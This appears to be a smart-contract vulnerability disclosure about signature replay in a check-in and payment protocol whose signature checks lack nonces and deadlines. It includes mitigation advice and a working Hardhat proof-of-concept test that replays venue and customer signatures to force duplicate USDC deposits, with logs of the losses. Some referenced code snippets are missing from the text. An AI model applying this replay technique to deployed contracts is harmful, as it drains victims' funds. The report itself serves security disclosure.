Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The protocol verifies signatures without nonces, allowing attackers to replay valid signatures. It also lacks deadline mechanisms, creating replay vulnerabilities.
Example (also present in checkCustomerInfo()):
functioncheckVenueInfo(addresssigner,VenueInfocalldatavenueInfo)externalview{//@> Nonce and deadline parameretrs are missingrequire( signer.isValidSignatureNow(keccak256(abi.encodePacked( venueInfo.venue, venueInfo.referralCode, venueInfo.uri,block.chainid)), venueInfo.signature),InvalidSignature());}
Vulnerability Details
The SignatureVerifier library lacks nonce or timestamp (deadline) checks, allowing signatures to be replayed on the same chain. The same valid signature can be reused multiple times. For example, a venue deposit signature can be replayed to force multiple deposits, or a customer payment signature can be replayed to make duplicate payments.
Impact Details
Attackers can replay valid signatures to force venue creators and venue customers to make multiple deposits, draining their funds.
Mitigation
Consider implementing nonce and deadline checks in SignatureVerifier functions. Example implementation pattern:
(Keep in mind to adapt naming, typings and storage layout to the actual contract code. The above is a conceptual example showing inclusion of nonce and deadline and incrementing nonce after successful verification.)
Proof of Concept
1
Setup: add attacker to fixture
Add an attacker address to the test fixture:
2
Attack POC test
Add the following test and run:
yarn hardhat test test/v2/platform/belong-check-in.test.ts --grep "Attack POC"
3
Observed logs
Test run logs
Notes
Do not change the semantics of the verification logic beyond adding nonce and deadline checks; ensure signatures include any newly required fields (nonce, deadline) in the signed payload so that off-chain signers produce signatures that bind to these fields.
When adding nonces, choose appropriate granularity for the nonce key (per-user/per-venue/per-customer) based on intended guarantees.
Consider using EIP-712 typed structured data for signing to avoid issues with abi.encodePacked collisions and improve clarity.
describe('Attack POC', () => {
it('Signature replayAttack', async () => {
const { belongCheckIn, signer, USDC, USDC_whale, ENA_whale, attacker } = await loadFixture(fixture);
const uri = 'uriuri';
const venueAmount = await u(100, USDC);
const venueAmount2 = await u(50, USDC);
const venue = USDC_whale.address;
const venueMessage = ethers.utils.solidityKeccak256(
['address', 'bytes32', 'string', 'uint256'],
[venue, ethers.constants.HashZero, uri, chainId],
);
const venueSignature = EthCrypto.sign(signer.privateKey, venueMessage);
const venueInfo: VenueInfoStruct = {
rules: { paymentType: 1, bountyType: 0, longPaymentType: 0 } as VenueRulesStruct,
venue,
amount: venueAmount,
referralCode: ethers.constants.HashZero,
uri,
signature: venueSignature,
};
const willBeTaken = convenienceFeeAmount.add(venueAmount);
await USDC.connect(USDC_whale).approve(belongCheckIn.address, willBeTaken.mul(5));
const venueBalance_before = await USDC.balanceOf(USDC_whale.address);
await belongCheckIn.connect(USDC_whale).venueDeposit(venueInfo);
//@audit - attacker were able to successfully replay the signature of Venue creator and force their wallet to deposit multiple times
await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
await belongCheckIn.connect(attacker).venueDeposit(venueInfo);
const customerAmount = await u(5, USDC);
const customerMessage = ethers.utils.solidityKeccak256(
['bool', 'uint128', 'uint24', 'address', 'address', 'address', 'uint256', 'uint256'],
[
true, // paymentInUSDC
0, // visitBountyAmount (uint24, adjust to uint256 if needed)
0, // spendBountyPercentage (uint24, adjust to uint256 if needed)
ENA_whale.address, // customer
USDC_whale.address, // venueToPayFor
ethers.constants.AddressZero, // promoter
customerAmount, // amount
chainId, // block.chainid
],
);
const customerSignature = EthCrypto.sign(signer.privateKey, customerMessage);
const customerInfo: CustomerInfoStruct = {
paymentInUSDC: true,
visitBountyAmount: 0,
spendBountyPercentage: 0,
customer: ENA_whale.address,
venueToPayFor: USDC_whale.address,
promoter: ethers.constants.AddressZero,
amount: customerAmount,
signature: customerSignature,
};
await USDC.connect(USDC_whale).transfer(ENA_whale.address, customerAmount.mul(10));
await USDC.connect(ENA_whale).approve(belongCheckIn.address, customerAmount.mul(5));
const customerBalance_before = await USDC.balanceOf(ENA_whale.address);
const tx = await belongCheckIn.connect(ENA_whale).payToVenue(customerInfo);
//@audit - attacker were able to successfully replay the signature of payToVenue customer and force their wallet to deposit multiple times
await belongCheckIn.connect(attacker).payToVenue(customerInfo);
await belongCheckIn.connect(attacker).payToVenue(customerInfo);
await belongCheckIn.connect(attacker).payToVenue(customerInfo);
await expect(tx)
.to.emit(belongCheckIn, 'CustomerPaid')
.withArgs(
ENA_whale.address,
USDC_whale.address,
ethers.constants.AddressZero,
customerAmount,
customerInfo.visitBountyAmount,
customerInfo.spendBountyPercentage,
);
const venueBalance_ActualBalance = await USDC.balanceOf(USDC_whale.address);
const venueBalance_ExpectedBalance = venueBalance_before.sub(willBeTaken);
const customerBalance_ActualBalance = await USDC.balanceOf(ENA_whale.address);
const customerBalance_ExpectedBalance = customerBalance_before.sub(customerAmount);
console.log(`venueBalance_ExpectedBalance: ${venueBalance_ExpectedBalance}`);
console.log(`venueBalance_ActualBalance: ${venueBalance_ActualBalance}`);
console.log(
`Loss of Amount because of this attack: ${venueBalance_ExpectedBalance.sub(venueBalance_ActualBalance)}`,
);
console.log(`customerBalance_ActualBalance: ${customerBalance_ActualBalance}`);
console.log(`customerBalance_ExpectedBalance: ${customerBalance_ExpectedBalance}`);
console.log(
`Loss of Amount because of this attack: ${customerBalance_ExpectedBalance.sub(customerBalance_ActualBalance)}`,
);
});
});
Logs:
venueBalance_ExpectedBalance: 39958999022380
venueBalance_ActualBalance: 39958644022380
Loss of Amount because of this attack: 355000000
customerBalance_ActualBalance: 30000000
customerBalance_ExpectedBalance: 45000000
Loss of Amount because of this attack: 15000000
✔ Signature replayAttack (1766ms)
1 passing (4s)
Done in 4.95s.